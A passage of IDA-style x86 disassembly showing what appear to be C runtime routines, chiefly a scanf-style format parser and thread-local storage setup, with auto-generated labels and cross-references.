... cmp [ebp+var_2C], 0 jz short loc_4153F8 ; default push [ebp+var_2C] call sub_412FE4 and [ebp+var_2C], 0 pop ecx loc_4153F8: ; CODE XREF: sub_414CA3+74j ; sub_414CA3+99j ... mov edi, [ebp+arg_4] ; default mov bl, [edi] test bl, bl jnz loc_414CD8 loc_415405: ; CODE XREF: sub_414CA3+40j pop edi pop esi loc_415407: ; CODE XREF: sub_414CA3+29j mov ecx, [ebp+var_4] xor ecx, [ebp+4] mov eax, [ebp+var_18] pop ebx call sub_4182D6 leave retn sub_414CA3 endp ; --------------------------------------------------------------------------- off_415418 dd offset loc_414EA2 ; DATA XREF: sub_414CA3+7Ar dd offset loc_414D24 ; jump table for switch statement dd offset loc_414D41 dd offset loc_414D8D dd offset loc_414DC8 dd offset loc_414DD1 dd offset loc_414E09 dd offset loc_414EDB ; =============== S U B R O U T I N E ======================================= sub_415438 proc near ; CODE XREF: sub_4154C7:loc_4154E0p ; sub_4154C7:loc_41552Dp call sub_416818 mov eax, dword_42C750 cmp eax, 0FFFFFFFFh jz short locret_415455 push eax call ds:dword_41F150 or dword_42C750, 0FFFFFFFFh locret_415455: ; CODE XREF: sub_415438+Dj retn sub_415438 endp ; =============== S U B R O U T I N E ======================================= sub_415456 proc near ; CODE XREF: sub_412D64p sub_412D71p ... push ebx push esi call ds:dword_41F008 push dword_42C750 mov ebx, eax call ds:dword_41F160 mov esi, eax test esi, esi jnz short loc_4154BB push 88h push 1 call sub_41AB01 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_4154B3 push esi push dword_42C750 call ds:dword_41F15C test eax, eax jz short loc_4154B3 mov dword ptr [esi+54h], offset dword_42CFE0 mov dword ptr [esi+14h], 1 call ds:dword_41F158 or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_4154BB ; --------------------------------------------------------------------------- loc_4154B3: ; CODE XREF: sub_415456+2Ej ; sub_415456+3Fj push 10h call sub_4148E1 pop ecx loc_4154BB: ; CODE XREF: sub_415456+1Aj ; sub_415456+5Bj push ebx call ds:dword_41F154 mov eax, esi pop esi pop ebx retn sub_415456 endp ; =============== S U B R O U T I N E ======================================= sub_4154C7 proc near ; CODE XREF: .text:loc_414A05p call sub_4167CF test eax, eax jz short loc_4154E0 call ds:dword_41F164 cmp eax, 0FFFFFFFFh mov dword_42C750, eax jnz short loc_4154E8 loc_4154E0: ; CODE XREF: sub_4154C7+7j call sub_415438 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4154E8: ; CODE XREF: sub_4154C7+17j push esi push 88h push 1 call sub_41AB01 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_41552D push esi push dword_42C750 call ds:dword_41F15C test eax, eax jz short loc_41552D mov dword ptr [esi+54h], offset dword_42CFE0 mov dword ptr [esi+14h], 1 call ds:dword_41F158 or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax pop esi retn ; --------------------------------------------------------------------------- loc_41552D: ; CODE XREF: sub_4154C7+34j ; sub_4154C7+45j call sub_415438 xor eax, eax pop esi retn sub_4154C7 endp ; =============== S U B R O U T I N E ======================================= sub_415536 proc near ; CODE XREF: sub_41554C+52p ; sub_41554C+1EFp ... dec dword ptr [edx+4] js short loc_415544 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_415544: ; CODE XREF: sub_415536+3j push edx call sub_417455 pop ecx retn sub_415536 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41554C proc near ; CODE XREF: sub_412D93+2Ap var_1D8 = word ptr -1D8h var_1D4 = byte ptr -1D4h var_1D3 = byte ptr -1D3h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = byte ptr -1C8h var_1C7 = byte ptr -1C7h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 1C8h push offset stru_427878 call __SEH_prolog mov eax, dword_42CE38 xor eax, [ebp+4] mov [ebp+var_1C], eax xor eax, eax mov [ebp+var_20], eax mov [ebp+var_24], eax mov [ebp+var_28], eax and [ebp+var_29], al mov [ebp+var_30], eax mov [ebp+var_34], eax loc_41557A: ; CODE XREF: sub_41554C+88j ; sub_41554C+A55j ... mov eax, [ebp+arg_4] mov al, [eax] test al, al jz loc_415FB9 movzx eax, al push eax call sub_41AC35 pop ecx test eax, eax jz short loc_4155D6 dec [ebp+var_30] loc_415598: ; CODE XREF: sub_41554C+62j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_415536 mov esi, eax push esi call sub_41AC35 pop ecx test eax, eax jnz short loc_415598 cmp esi, 0FFFFFFFFh jz short loc_4155C0 push [ebp+arg_0] push esi call sub_41AC6F pop ecx pop ecx loc_4155C0: ; CODE XREF: sub_41554C+67j ; sub_41554C+86j inc [ebp+arg_4] mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] push eax call sub_41AC35 pop ecx test eax, eax jnz short loc_4155C0 jmp short loc_41557A ; --------------------------------------------------------------------------- loc_4155D6: ; CODE XREF: sub_41554C+47j mov esi, [ebp+arg_4] cmp byte ptr [esi], 25h jnz loc_415F35 xor edi, edi mov [ebp+var_38], edi and [ebp+var_39], 0 mov [ebp+var_40], edi mov [ebp+var_44], edi mov [ebp+var_48], edi and [ebp+var_49], 0 and [ebp+var_4A], 0 and [ebp+var_4B], 0 and [ebp+var_4C], 0 and [ebp+var_4D], 0 and [ebp+var_4E], 0 mov [ebp+var_4F], 1 mov [ebp+var_54], edi loc_415613: ; CODE XREF: sub_41554C+186j inc esi movzx ebx, byte ptr [esi] movzx eax, bl push eax call sub_41ABBC pop ecx test eax, eax jz short loc_415634 inc [ebp+var_44] lea eax, [edi+edi*4] lea edi, [ebx+eax*2-30h] jmp loc_4156CE ; --------------------------------------------------------------------------- loc_415634: ; CODE XREF: sub_41554C+D7j cmp ebx, 4Eh jg short loc_4156AC jz loc_4156CE cmp ebx, 2Ah jz short loc_4156A7 cmp ebx, 46h jz loc_4156CE cmp ebx, 49h jz short loc_41565C cmp ebx, 4Ch jnz short loc_4156BB inc [ebp+var_4F] jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_41565C: ; CODE XREF: sub_41554C+104j mov cl, [esi+1] cmp cl, 36h jnz short loc_41567B lea eax, [esi+2] cmp byte ptr [eax], 34h jnz short loc_41567B mov esi, eax inc [ebp+var_54] and [ebp+var_5C], 0 and [ebp+var_58], 0 jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_41567B: ; CODE XREF: sub_41554C+116j ; sub_41554C+11Ej cmp cl, 33h jnz short loc_41568C lea eax, [esi+2] cmp byte ptr [eax], 32h jnz short loc_41568C mov esi, eax jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_41568C: ; CODE XREF: sub_41554C+132j ; sub_41554C+13Aj cmp cl, 64h jz short loc_4156CE cmp cl, 69h jz short loc_4156CE cmp cl, 6Fh jz short loc_4156CE cmp cl, 78h jz short loc_4156CE cmp cl, 58h jnz short loc_4156BB jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_4156A7: ; CODE XREF: sub_41554C+F6j inc [ebp+var_4B] jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_4156AC: ; CODE XREF: sub_41554C+EBj cmp ebx, 68h jz short loc_4156C8 cmp ebx, 6Ch jz short loc_4156C0 cmp ebx, 77h jz short loc_4156C3 loc_4156BB: ; CODE XREF: sub_41554C+109j ; sub_41554C+157j inc [ebp+var_4C] jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_4156C0: ; CODE XREF: sub_41554C+168j inc [ebp+var_4F] loc_4156C3: ; CODE XREF: sub_41554C+16Dj inc [ebp+var_4E] jmp short loc_4156CE ; --------------------------------------------------------------------------- loc_4156C8: ; CODE XREF: sub_41554C+163j dec [ebp+var_4F] dec [ebp+var_4E] loc_4156CE: ; CODE XREF: sub_41554C+E3j ; sub_41554C+EDj ... cmp [ebp+var_4C], 0 jz loc_415613 mov [ebp+var_48], edi mov [ebp+arg_4], esi cmp [ebp+var_4B], 0 jnz short loc_4156F8 mov eax, [ebp+arg_8] mov [ebp+var_60], eax add eax, 4 mov [ebp+arg_8], eax mov ebx, [eax-4] mov [ebp+var_64], ebx jmp short loc_4156FB ; --------------------------------------------------------------------------- loc_4156F8: ; CODE XREF: sub_41554C+196j mov ebx, [ebp+var_64] loc_4156FB: ; CODE XREF: sub_41554C+1AAj and [ebp+var_4C], 0 cmp [ebp+var_4E], 0 jnz short loc_415719 mov al, [esi] cmp al, 53h jz short loc_415715 cmp al, 43h jz short loc_415715 or [ebp+var_4E], 0FFh jmp short loc_415719 ; --------------------------------------------------------------------------- loc_415715: ; CODE XREF: sub_41554C+1BDj ; sub_41554C+1C1j mov [ebp+var_4E], 1 loc_415719: ; CODE XREF: sub_41554C+1B7j ; sub_41554C+1C7j movzx edi, byte ptr [esi] or edi, 20h mov [ebp+var_68], edi cmp edi, 6Eh jz short loc_415750 cmp edi, 63h jz loc_4157B0 cmp edi, 7Bh jz short loc_4157B0 loc_415735: ; CODE XREF: sub_41554C+1FFj inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_415536 mov esi, eax push esi call sub_41AC35 pop ecx test eax, eax jnz short loc_415735 mov [ebp+var_28], esi loc_415750: ; CODE XREF: sub_41554C+1D9j mov esi, [ebp+arg_0] loc_415753: ; CODE XREF: sub_41554C+274j mov ecx, [ebp+var_44] test ecx, ecx jz short loc_415764 cmp [ebp+var_48], 0 jz loc_4159B9 loc_415764: ; CODE XREF: sub_41554C+20Cj cmp edi, 6Fh jg loc_415988 jz loc_415CFB cmp edi, 63h jz loc_415967 cmp edi, 64h jz loc_415CFB jle loc_4159AE cmp edi, 67h jle short loc_4157DA cmp edi, 69h jz short loc_4157C2 cmp edi, 6Eh jnz loc_4159AE mov eax, [ebp+var_30] cmp [ebp+var_4B], 0 jz loc_415F0D jmp loc_415F2D ; --------------------------------------------------------------------------- loc_4157B0: ; CODE XREF: sub_41554C+1DEj ; sub_41554C+1E7j inc [ebp+var_30] mov esi, [ebp+arg_0] mov edx, esi call sub_415536 mov [ebp+var_28], eax jmp short loc_415753 ; --------------------------------------------------------------------------- loc_4157C2: ; CODE XREF: sub_41554C+247j push 64h pop edi loc_4157C5: ; CODE XREF: sub_41554C+457j mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz loc_415BF4 mov [ebp+var_4A], 1 jmp loc_415BF9 ; --------------------------------------------------------------------------- loc_4157DA: ; CODE XREF: sub_41554C+242j lea esi, [ebp+var_1C8] mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz short loc_4157F6 mov [ebp+var_1C8], bl lea esi, [ebp+var_1C7] jmp short loc_4157FB ; --------------------------------------------------------------------------- loc_4157F6: ; CODE XREF: sub_41554C+29Aj cmp ebx, 2Bh jnz short loc_415812 loc_4157FB: ; CODE XREF: sub_41554C+2A8j dec [ebp+var_48] inc [ebp+var_30] mov edi, [ebp+arg_0] mov edx, edi call sub_415536 mov ebx, eax mov [ebp+var_28], ebx jmp short loc_415815 ; --------------------------------------------------------------------------- loc_415812: ; CODE XREF: sub_41554C+2ADj mov edi, [ebp+arg_0] loc_415815: ; CODE XREF: sub_41554C+2C4j cmp [ebp+var_44], 0 jz short loc_415824 cmp [ebp+var_48], 15Dh jle short loc_41584C loc_415824: ; CODE XREF: sub_41554C+2CDj mov [ebp+var_48], 15Dh jmp short loc_41584C ; --------------------------------------------------------------------------- loc_41582D: ; CODE XREF: sub_41554C+309j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_415857 inc [ebp+var_40] mov [esi], bl inc esi inc [ebp+var_30] mov edx, edi call sub_415536 mov ebx, eax mov [ebp+var_28], ebx loc_41584C: ; CODE XREF: sub_41554C+2D6j ; sub_41554C+2DFj push ebx call sub_41ABBC pop ecx test eax, eax jnz short loc_41582D loc_415857: ; CODE XREF: sub_41554C+2E9j cmp byte_42D090, bl jnz short loc_4158A9 mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_4158A9 inc [ebp+var_30] mov edx, edi call sub_415536 mov ebx, eax mov al, byte_42D090 mov [esi], al inc esi jmp short loc_41589B ; --------------------------------------------------------------------------- loc_41587F: ; CODE XREF: sub_41554C+35Bj mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_4158A9 inc [ebp+var_40] mov [esi], bl inc esi inc [ebp+var_30] mov edx, edi call sub_415536 mov ebx, eax loc_41589B: ; CODE XREF: sub_41554C+331j push ebx mov [ebp+var_28], ebx call sub_41ABBC pop ecx test eax, eax jnz short loc_41587F loc_4158A9: ; CODE XREF: sub_41554C+311j ; sub_41554C+31Bj ... cmp [ebp+var_40], 0 jz short loc_41591E cmp ebx, 65h jz short loc_4158B9 cmp ebx, 45h jnz short loc_41591E loc_4158B9: ; CODE XREF: sub_41554C+366j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_41591E mov byte ptr [esi], 65h inc esi inc [ebp+var_30] mov edx, edi call sub_415536 mov ebx, eax mov [ebp+var_28], ebx cmp ebx, 2Dh jnz short loc_4158E0 mov [esi], al inc esi jmp short loc_4158E5 ; --------------------------------------------------------------------------- loc_4158E0: ; CODE XREF: sub_41554C+38Dj cmp ebx, 2Bh jnz short loc_415913 loc_4158E5: ; CODE XREF: sub_41554C+392j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jnz short loc_415904 and [ebp+var_48], eax jmp short loc_415913 ; --------------------------------------------------------------------------- loc_4158F4: ; CODE XREF: sub_41554C+3D0j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_41591E inc [ebp+var_40] mov [esi], bl inc esi loc_415904: ; CODE XREF: sub_41554C+3A1j mov edx, edi inc [ebp+var_30] call sub_415536 mov ebx, eax mov [ebp+var_28], ebx loc_415913: ; CODE XREF: sub_41554C+397j ; sub_41554C+3A6j push ebx call sub_41ABBC pop ecx test eax, eax jnz short loc_4158F4 loc_41591E: ; CODE XREF: sub_41554C+361j ; sub_41554C+36Bj ... dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_41592F push edi push ebx call sub_41AC6F pop ecx pop ecx loc_41592F: ; CODE XREF: sub_41554C+3D8j cmp [ebp+var_40], 0 jz loc_415FB9 cmp [ebp+var_4B], 0 jnz loc_415F2D inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C8] push eax push [ebp+var_64] movsx eax, [ebp+var_4F] dec eax push eax call off_42CE20 add esp, 0Ch jmp loc_415F2D ; --------------------------------------------------------------------------- loc_415967: ; CODE XREF: sub_41554C+22Aj test ecx, ecx jnz short loc_415975 mov [ebp+var_44], 1 inc [ebp+var_48] loc_415975: ; CODE XREF: sub_41554C+41Dj ; sub_41554C+44Aj cmp [ebp+var_4E], 0 jle loc_415B00 mov [ebp+var_4D], 1 jmp loc_415B00 ; --------------------------------------------------------------------------- loc_415988: ; CODE XREF: sub_41554C+21Bj mov eax, edi sub eax, 70h jz loc_415CF7 sub eax, 3 jz short loc_415975 dec eax dec eax jz loc_415CFB sub eax, 3 jz loc_4157C5 sub eax, 3 jz short loc_4159DA loc_4159AE: ; CODE XREF: sub_41554C+239j ; sub_41554C+24Cj mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] cmp eax, [ebp+var_28] jz short loc_4159C2 loc_4159B9: ; CODE XREF: sub_41554C+212j cmp [ebp+var_28], 0FFFFFFFFh jmp loc_415F89 ; --------------------------------------------------------------------------- loc_4159C2: ; CODE XREF: sub_41554C+46Bj dec [ebp+var_29] cmp [ebp+var_4B], 0 jnz loc_415F2D mov eax, [ebp+var_60] mov [ebp+arg_8], eax jmp loc_415F2D ; --------------------------------------------------------------------------- loc_4159DA: ; CODE XREF: sub_41554C+460j cmp [ebp+var_4E], 0 jle short loc_4159E4 mov [ebp+var_4D], 1 loc_4159E4: ; CODE XREF: sub_41554C+492j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi mov [ebp+var_1CC], edi cmp byte ptr [edi], 5Eh jnz short loc_415A01 inc edi mov [ebp+var_1CC], edi or [ebp+var_49], 0FFh loc_415A01: ; CODE XREF: sub_41554C+4A8j mov ebx, [ebp+var_20] test ebx, ebx jnz short loc_415A59 and [ebp+ms_exc.disabled], ebx push 20h pop eax call sub_412DD0 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_415A59 ; --------------------------------------------------------------------------- loc_415A21: ; DATA XREF: .rdata:stru_427878o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_415A25: ; DATA XREF: .rdata:stru_427878o mov esp, [ebp+ms_exc.old_esp] call sub_41AE30 push 20h call sub_41344D pop ecx mov [ebp+var_20], eax test eax, eax jnz short loc_415A45 or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp loc_415FB9 ; --------------------------------------------------------------------------- loc_415A45: ; CODE XREF: sub_41554C+4EEj mov [ebp+var_24], 1 or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1CC] mov ebx, [ebp+var_20] loc_415A59: ; CODE XREF: sub_41554C+4BAj ; sub_41554C+4D3j push 20h push 0 push ebx call sub_41ADD0 add esp, 0Ch cmp [ebp+var_68], 7Bh jnz short loc_415AE0 cmp byte ptr [edi], 5Dh jnz short loc_415AE0 mov dl, 5Dh inc edi mov byte ptr [ebx+0Bh], 20h jmp short loc_415AE3 ; --------------------------------------------------------------------------- loc_415A7A: ; CODE XREF: sub_41554C+59Bj inc edi cmp al, 2Dh jnz short loc_415ACA test dl, dl jz short loc_415ACA mov cl, [edi] cmp cl, 5Dh jz short loc_415ACA inc edi cmp dl, cl jnb short loc_415A93 mov al, cl jmp short loc_415A97 ; --------------------------------------------------------------------------- loc_415A93: ; CODE XREF: sub_41554C+541j mov al, dl mov dl, cl loc_415A97: ; CODE XREF: sub_41554C+545j cmp dl, al ja short loc_415AC6 movzx esi, dl sub al, dl inc al movzx eax, al mov [ebp+var_1D0], eax loc_415AAB: ; CODE XREF: sub_41554C+578j mov eax, esi shr eax, 3 add eax, ebx mov ecx, esi and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl inc esi dec [ebp+var_1D0] jnz short loc_415AAB loc_415AC6: ; CODE XREF: sub_41554C+54Dj xor dl, dl jmp short loc_415AE3 ; --------------------------------------------------------------------------- loc_415ACA: ; CODE XREF: sub_41554C+531j ; sub_41554C+535j ... mov [ebp+var_39], al movzx ecx, al mov eax, ecx shr eax, 3 add eax, ebx and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl loc_415AE0: ; CODE XREF: sub_41554C+51Ej ; sub_41554C+523j mov dl, [ebp+var_39] loc_415AE3: ; CODE XREF: sub_41554C+52Cj ; sub_41554C+57Cj mov al, [edi] cmp al, 5Dh jnz short loc_415A7A test al, al jz loc_415FB9 mov ebx, [ebp+var_64] cmp [ebp+var_68], 7Bh jnz short loc_415AFD mov [ebp+arg_4], edi loc_415AFD: ; CODE XREF: sub_41554C+5ACj mov edi, [ebp+var_68] loc_415B00: ; CODE XREF: sub_41554C+42Dj ; sub_41554C+437j mov esi, ebx dec [ebp+var_30] cmp [ebp+var_28], 0FFFFFFFFh jz short loc_415B18 push [ebp+arg_0] push [ebp+var_28] call sub_41AC6F pop ecx pop ecx loc_415B18: ; CODE XREF: sub_41554C+5BDj ; sub_41554C+754j ... cmp [ebp+var_44], 0 jz short loc_415B2C mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz loc_415CBE loc_415B2C: ; CODE XREF: sub_41554C+5D0j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_415536 mov [ebp+var_28], eax cmp eax, 0FFFFFFFFh jz loc_415CAB cmp edi, 63h jz short loc_415B8C cmp edi, 73h jnz short loc_415B5C cmp eax, 9 jl short loc_415B57 cmp eax, 0Dh jle short loc_415B5C loc_415B57: ; CODE XREF: sub_41554C+604j cmp eax, 20h jnz short loc_415B8C loc_415B5C: ; CODE XREF: sub_41554C+5FFj ; sub_41554C+609j cmp edi, 7Bh jnz loc_415CAB mov ecx, eax and ecx, 7 xor edx, edx inc edx shl edx, cl mov ecx, eax sar ecx, 3 mov edi, [ebp+var_20] movsx ecx, byte ptr [ecx+edi] movsx edi, [ebp+var_49] xor ecx, edi test edx, ecx jz loc_415CAB mov edi, [ebp+var_68] loc_415B8C: ; CODE XREF: sub_41554C+5FAj ; sub_41554C+60Ej cmp [ebp+var_4B], 0 jnz loc_415CA5 cmp [ebp+var_4D], 0 jz loc_415C9A mov [ebp+var_1D4], al movzx eax, al mov ecx, off_42CE30 test byte ptr [ecx+eax*2+1], 80h jz short loc_415BC7 inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_415536 mov [ebp+var_1D3], al loc_415BC7: ; CODE XREF: sub_41554C+668j push dword_42D08C lea eax, [ebp+var_1D4] push eax lea eax, [ebp+var_1D8] push eax call sub_41AD9B add esp, 0Ch mov ax, [ebp+var_1D8] mov [ebx], ax inc ebx inc ebx jmp loc_415C9D ; --------------------------------------------------------------------------- loc_415BF4: ; CODE XREF: sub_41554C+27Fj cmp ebx, 2Bh jnz short loc_415C17 loc_415BF9: ; CODE XREF: sub_41554C+289j dec [ebp+var_48] jnz short loc_415C08 test ecx, ecx jz short loc_415C08 mov [ebp+var_4C], 1 jmp short loc_415C17 ; --------------------------------------------------------------------------- loc_415C08: ; CODE XREF: sub_41554C+6B0j ; sub_41554C+6B4j inc [ebp+var_30] mov edx, esi call sub_415536 mov ebx, eax mov [ebp+var_28], ebx loc_415C17: ; CODE XREF: sub_41554C+6ABj ; sub_41554C+6BAj cmp ebx, 30h jnz loc_415D2C inc [ebp+var_30] mov edx, esi call sub_415536 mov ebx, eax mov [ebp+var_28], ebx cmp bl, 78h jz short loc_415C74 cmp bl, 58h jz short loc_415C74 mov [ebp+var_40], 1 cmp edi, 78h jz short loc_415C5B cmp [ebp+var_44], 0 jz short loc_415C53 dec [ebp+var_48] jnz short loc_415C53 inc [ebp+var_4C] loc_415C53: ; CODE XREF: sub_41554C+6FDj ; sub_41554C+702j push 6Fh loc_415C55: ; CODE XREF: sub_41554C+74Cj pop edi jmp loc_415D2C ; --------------------------------------------------------------------------- loc_415C5B: ; CODE XREF: sub_41554C+6F7j dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_415C6C push esi push ebx call sub_41AC6F pop ecx pop ecx loc_415C6C: ; CODE XREF: sub_41554C+715j push 30h pop ebx jmp loc_415D29 ; --------------------------------------------------------------------------- loc_415C74: ; CODE XREF: sub_41554C+6E6j ; sub_41554C+6EBj inc [ebp+var_30] mov edx, esi call sub_415536 mov ebx, eax mov [ebp+var_28], ebx cmp [ebp+var_44], 0 jz short loc_415C96 sub [ebp+var_48], 2 cmp [ebp+var_48], 1 jge short loc_415C96 inc [ebp+var_4C] loc_415C96: ; CODE XREF: sub_41554C+73Bj ; sub_41554C+745j push 78h jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C9A: ; CODE XREF: sub_41554C+64Ej mov [ebx], al inc ebx loc_415C9D: ; CODE XREF: sub_41554C+6A3j mov [ebp+var_64], ebx jmp loc_415B18 ; --------------------------------------------------------------------------- loc_415CA5: ; CODE XREF: sub_41554C+644j inc esi jmp loc_415B18 ; --------------------------------------------------------------------------- loc_415CAB: ; CODE XREF: sub_41554C+5F1j ; sub_41554C+613j ... dec [ebp+var_30] cmp eax, 0FFFFFFFFh jz short loc_415CBE push [ebp+arg_0] push eax call sub_41AC6F pop ecx pop ecx loc_415CBE: ; CODE XREF: sub_41554C+5DAj ; sub_41554C+765j cmp esi, ebx jz loc_415FB9 cmp [ebp+var_4B], 0 jnz loc_415F2D inc [ebp+var_34] cmp [ebp+var_68], 63h jz loc_415F2D mov eax, [ebp+var_64] cmp [ebp+var_4D], 0 jz short loc_415CEF and word ptr [eax], 0 jmp loc_415F2D ; --------------------------------------------------------------------------- loc_415CEF: ; CODE XREF: sub_41554C+798j and byte ptr [eax], 0 jmp loc_415F2D ; --------------------------------------------------------------------------- loc_415CF7: ; CODE XREF: sub_41554C+441j mov [ebp+var_4F], 1 loc_415CFB: ; CODE XREF: sub_41554C+221j ; sub_41554C+233j ... mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz short loc_415D09 mov [ebp+var_4A], 1 jmp short loc_415D0E ; --------------------------------------------------------------------------- loc_415D09: ; CODE XREF: sub_41554C+7B5j cmp ebx, 2Bh jnz short loc_415D2C loc_415D0E: ; CODE XREF: sub_41554C+7BBj dec [ebp+var_48] jnz short loc_415D1D test ecx, ecx jz short loc_415D1D mov [ebp+var_4C], 1 jmp short loc_415D2C ; --------------------------------------------------------------------------- loc_415D1D: ; CODE XREF: sub_41554C+7C5j ; sub_41554C+7C9j inc [ebp+var_30] mov edx, esi call sub_415536 mov ebx, eax loc_415D29: ; CODE XREF: sub_41554C+723j mov [ebp+var_28], ebx loc_415D2C: ; CODE XREF: sub_41554C+6CEj ; sub_41554C+70Aj ... cmp [ebp+var_54], 0 jz loc_415E31 cmp [ebp+var_4C], 0 jnz loc_415E0F loc_415D40: ; CODE XREF: sub_41554C+8BAj cmp edi, 78h jz short loc_415D8B cmp edi, 70h jz short loc_415D8B push ebx call sub_41ABBC pop ecx test eax, eax jz short loc_415DBC cmp edi, 6Fh jnz short loc_415D74 cmp ebx, 38h jge short loc_415DBC mov eax, [ebp+var_5C] mov ecx, [ebp+var_58] shld ecx, eax, 3 shl eax, 3 mov [ebp+var_5C], eax mov [ebp+var_58], ecx jmp short loc_415DBF ; --------------------------------------------------------------------------- loc_415D74: ; CODE XREF: sub_41554C+80Cj push 0 push 0Ah push [ebp+var_58] push [ebp+var_5C] call sub_4162D0 mov [ebp+var_5C], eax mov [ebp+var_58], edx jmp short loc_415DBF ; --------------------------------------------------------------------------- loc_415D8B: ; CODE XREF: sub_41554C+7F7j ; sub_41554C+7FCj push ebx call sub_41ABF6 pop ecx test eax, eax jz short loc_415DBC mov eax, [ebp+var_5C] mov ecx, [ebp+var_58] shld ecx, eax, 4 shl eax, 4 mov [ebp+var_5C], eax mov [ebp+var_58], ecx push ebx call sub_41ABBC pop ecx test eax, eax jnz short loc_415DBF and ebx, 0FFFFFFDFh sub ebx, 7 jmp short loc_415DBF ; --------------------------------------------------------------------------- loc_415DBC: ; CODE XREF: sub_41554C+807j ; sub_41554C+811j ... inc [ebp+var_4C] loc_415DBF: ; CODE XREF: sub_41554C+826j ; sub_41554C+83Dj ... cmp [ebp+var_4C], 0 jnz short loc_415DF1 inc [ebp+var_40] lea eax, [ebx-30h] cdq add [ebp+var_5C], eax adc [ebp+var_58], edx cmp [ebp+var_44], 0 jz short loc_415DE3 dec [ebp+var_48] jnz short loc_415DE3 mov [ebp+var_4C], 1 jmp short loc_415E02 ; --------------------------------------------------------------------------- loc_415DE3: ; CODE XREF: sub_41554C+88Aj ; sub_41554C+88Fj inc [ebp+var_30] mov edx, esi call sub_415536 mov ebx, eax jmp short loc_415E02 ; --------------------------------------------------------------------------- loc_415DF1: ; CODE XREF: sub_41554C+877j dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_415E02 push esi push ebx call sub_41AC6F pop ecx pop ecx loc_415E02: ; CODE XREF: sub_41554C+895j ; sub_41554C+8A3j ... cmp [ebp+var_4C], 0 jz loc_415D40 mov [ebp+var_28], ebx loc_415E0F: ; CODE XREF: sub_41554C+7EEj cmp [ebp+var_4A], 0 jz loc_415EEB mov eax, [ebp+var_5C] neg eax mov ecx, [ebp+var_58] adc ecx, 0 neg ecx mov [ebp+var_5C], eax mov [ebp+var_58], ecx jmp loc_415EEB ; --------------------------------------------------------------------------- loc_415E31: ; CODE XREF: sub_41554C+7E4j cmp [ebp+var_4C], 0 jnz loc_415EE2 loc_415E3B: ; CODE XREF: sub_41554C+98Dj cmp edi, 78h jz short loc_415E6D cmp edi, 70h jz short loc_415E6D push ebx call sub_41ABBC pop ecx test eax, eax jz short loc_415E8F cmp edi, 6Fh jnz short loc_415E60 cmp ebx, 38h jge short loc_415E8F shl [ebp+var_38], 3 jmp short loc_415E92 ; --------------------------------------------------------------------------- loc_415E60: ; CODE XREF: sub_41554C+907j mov eax, [ebp+var_38] lea eax, [eax+eax*4] shl eax, 1 mov [ebp+var_38], eax jmp short loc_415E92 ; --------------------------------------------------------------------------- loc_415E6D: ; CODE XREF: sub_41554C+8F2j ; sub_41554C+8F7j push ebx call sub_41ABF6 pop ecx test eax, eax jz short loc_415E8F shl [ebp+var_38], 4 push ebx call sub_41ABBC pop ecx test eax, eax jnz short loc_415E92 and ebx, 0FFFFFFDFh sub ebx, 7 jmp short loc_415E92 ; --------------------------------------------------------------------------- loc_415E8F: ; CODE XREF: sub_41554C+902j ; sub_41554C+90Cj ... inc [ebp+var_4C] loc_415E92: ; CODE XREF: sub_41554C+912j ; sub_41554C+91Fj ... cmp [ebp+var_4C], 0 jnz short loc_415EC4 inc 